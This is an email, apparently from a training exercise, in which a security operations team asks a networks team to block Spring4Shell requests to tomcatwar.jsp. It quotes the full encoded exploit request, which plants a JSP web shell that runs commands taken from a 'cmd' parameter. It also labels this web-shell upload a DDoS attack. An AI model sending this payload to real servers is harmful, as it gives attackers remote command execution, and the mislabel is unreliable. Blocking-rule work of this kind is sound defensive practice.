**From:** Telstra Security Operations

**To:** Networks Team (networks@email)

**Subject:** Create Firewall Rule to prevent Spring4Shell vulnerability

—

**Body:**

Hello Networks Team,

We would like to request the creation of a firewall rule and provide you more information about the ongoing attack.

The DDoS attack was mounted by sending multiple POST requests to the tomcatwar.jsp page

We kindly request you to block POST requests to this page containing headers like "suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded". The data section contains “class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=”

The attack was made on the NBN Team’s external network in a 5-minute window between

2022-03-20T03:16:34Z and 2022-03-20T03:21:00Z. All the requests were made using POST method in HTTP version 1.1

For any questions or issues, don’t hesitate to reach out to us.

Kind regards,

Telstra Security Operations